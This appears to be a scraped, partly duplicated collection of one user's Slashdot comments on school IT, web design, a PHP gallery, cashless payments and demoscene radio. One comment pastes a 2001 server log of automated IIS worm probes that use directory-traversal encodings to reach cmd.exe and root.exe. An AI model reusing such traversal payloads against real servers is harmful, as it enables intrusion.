I found that SchoolMax operates the entire county's 4500 teachers and 1000 counselors on what they believe is a single web server, not a cluster as is the norm for applications of this scale. Apparently either the county didn't do its appropriate due-diligence, or SchoolMax sold them a bag of lies, but apparently they thought the system would be sufficient to handle the user load. They'd been having severe problems with it all last school year as well, to the poiunt where these teachers were doubly entering all their grades, attendance, etc onto paper as well as into SchoolMax.
A school system as large as PG county has a responsibility for doing the appropriate research into what products and services it chooses to use. It's a shame that there's such poor leadership and such a knowledge vacuum.
> You should be hiding & un-hiding or inserting elements using the DOM
Absolutely! One idea I embrace when coding dynamic/AJAX pages is that of extending functionality that's already there. This means that instead of relying on javascript to generate the 'base page', I have that pre-built in html. Then I use javascript to remove elements and replace them with dynamic sections. This ensures not only that people who have javascript disabled can use the site, but also that Google and other search engines will be able to index its content.
One other item to mention: you can still use meta tags to keyword your page and provide a limited sort of access to the data that would otherwise be dynamically generated in it.
Awhile back I created my own 'gallery' program (before I'd even heard of Gallery). Its premise is that it's only one file, and everything is 100% automatic. All you need is PHP and Imagemagick on the server. Then you set the directories to be indexed writable by the webserver user (for thumbnail creation). Voila! It takes care of the rest. You can check out the sourceforge page at: http://image-indexer.sourceforge.net/ also, my site using it is http://haven.loki.ws/digcamera
It's not quite as feature rich perhaps as Gallery, but it works very fast and does the job exceedingly well.
There are a few major problems currently inherent to a cashless society. I'll enumerate:
While the technology may exist to secure a cashless society, it currently is not in place. For example, if you issued every citizen a card or stick or whathaveyou to use in place of cash, theft of such devices would run rampant if there were not a certain level of bio-enabled security. (such as a fingerprint or voice activation or retinal scan, etc etc) and even those are possible to fake. This is not to say a cash based system is more secure in and of itself, but at least then you have the option of not taking all of your money with you when you go somewhere.
Not every store has a system for reading an electronic method of payment, and they're not all standardized either. Sure you have your visa or mastercard systems, but what about discover, or american express, or other random systems that are out there? You'd have to have the goverment pass law about it, which means they would involve themselves in transactions, which leads me to my next point:
Lack of Privacy: There is a certain Big Brother aspect to all of this. The government would have to be involved, and they would keep track of every transaction you make. While this may not sound like such a bad thing, there is alot of money in underground businesses such as weapons trade or drug dealing. Now bringing these into the open through a cashless barter method may be a good thing(tm) but expect strong resistance from those engaged in 'less than legal' activities. Even those people engaged in perfectly legal, if less 'acceptable' transactions would dislike a monitored system simply to protect their privacy. Hell, I know I wouldn't like having anyone monitor and record my transactions regardless of their nature (not that I do anything about it now, I'm mostly cashless myself)
I garauntee you that for every one person in favor of it, there will be five right wing conservatives against it (not to stereotype or anything;) It's too new, uses a far too untested (in the minds of the general public) system (computers:D) and lacks that air of certainty that cash has. When you have cash, you know you have money. With a card/stick/button/whatever it's an abstracted idea, which dosen't sit well in the minds of the masses.
Now don't get me wrong, I'd love the system, I just don't think most people would:)
You know, I've been out of the scene for awhile now, but I recently discovered Nectarine. It's streaming demoscene music radio, so for all of you who need your oldschool fix (or who simply want to find out what we've been listening to all this time) check it out. it features a nice requesting system which is lightyears ahead of any other shoutcast station I've used.
-Darius (Rayn) / Outworld
Slashdot Mirror
I found that SchoolMax operates the entire county's 4500 teachers and 1000 counselors on what they believe is a single web server, not a cluster as is the norm for applications of this scale. Apparently either the county didn't do its appropriate due-diligence, or SchoolMax sold them a bag of lies, but apparently they thought the system would be sufficient to handle the user load. They'd been having severe problems with it all last school year as well, to the poiunt where these teachers were doubly entering all their grades, attendance, etc onto paper as well as into SchoolMax.
A school system as large as PG county has a responsibility for doing the appropriate research into what products and services it chooses to use. It's a shame that there's such poor leadership and such a knowledge vacuum.
> You should be hiding & un-hiding or inserting elements using the DOM
Absolutely! One idea I embrace when coding dynamic/AJAX pages is that of extending functionality that's already there. This means that instead of relying on javascript to generate the 'base page', I have that pre-built in html. Then I use javascript to remove elements and replace them with dynamic sections. This ensures not only that people who have javascript disabled can use the site, but also that Google and other search engines will be able to index its content.
One other item to mention: you can still use meta tags to keyword your page and provide a limited sort of access to the data that would otherwise be dynamically generated in it.
Mirror here.. someone mentioned they saw a CPU quota limit exceeded or something
http://loki.ws/~josh/oriley_slam.html
Awhile back I created my own 'gallery' program (before I'd even heard of Gallery). Its premise is that it's only one file, and everything is 100% automatic. All you need is PHP and Imagemagick on the server. Then you set the directories to be indexed writable by the webserver user (for thumbnail creation). Voila! It takes care of the rest. You can check out the sourceforge page at:
http://image-indexer.sourceforge.net/
also, my site using it is http://haven.loki.ws/digcamera
It's not quite as feature rich perhaps as Gallery, but it works very fast and does the job exceedingly well.
Mancoris :)
or even Manticore (http://haven.loki.ws/ff/mons/manticor.gif)
While the technology may exist to secure a cashless society, it currently is not in place. For example, if you issued every citizen a card or stick or whathaveyou to use in place of cash, theft of such devices would run rampant if there were not a certain level of bio-enabled security. (such as a fingerprint or voice activation or retinal scan, etc etc) and even those are possible to fake. This is not to say a cash based system is more secure in and of itself, but at least then you have the option of not taking all of your money with you when you go somewhere.
Not every store has a system for reading an electronic method of payment, and they're not all standardized either. Sure you have your visa or mastercard systems, but what about discover, or american express, or other random systems that are out there? You'd have to have the goverment pass law about it, which means they would involve themselves in transactions, which leads me to my next point:
Lack of Privacy: There is a certain Big Brother aspect to all of this. The government would have to be involved, and they would keep track of every transaction you make. While this may not sound like such a bad thing, there is alot of money in underground businesses such as weapons trade or drug dealing. Now bringing these into the open through a cashless barter method may be a good thing(tm) but expect strong resistance from those engaged in 'less than legal' activities. Even those people engaged in perfectly legal, if less 'acceptable' transactions would dislike a monitored system simply to protect their privacy. Hell, I know I wouldn't like having anyone monitor and record my transactions regardless of their nature (not that I do anything about it now, I'm mostly cashless myself)
I garauntee you that for every one person in favor of it, there will be five right wing conservatives against it (not to stereotype or anything ;) It's too new, uses a far too untested (in the minds of the general public) system (computers :D) and lacks that air of certainty that cash has. When you have cash, you know you have money. With a card/stick/button/whatever it's an abstracted idea, which dosen't sit well in the minds of the masses.
:)
Now don't get me wrong, I'd love the system, I just don't think most people would
-Josh
209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 274
/MSADC/root.exe?/c+dir HTTP/1.0" 404 272
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 282
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 282
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 313
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 313
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 329
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 296
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET
all occurs in a second or two.
You know, I've been out of the scene for awhile now, but I recently discovered Nectarine. It's streaming demoscene music radio, so for all of you who need your oldschool fix (or who simply want to find out what we've been listening to all this time) check it out. it features a nice requesting system which is lightyears ahead of any other shoutcast station I've used.
-Darius (Rayn) / Outworld
Why didn't Corel just stick to graphics apps? Seems like they'd have less to worry about that way ;)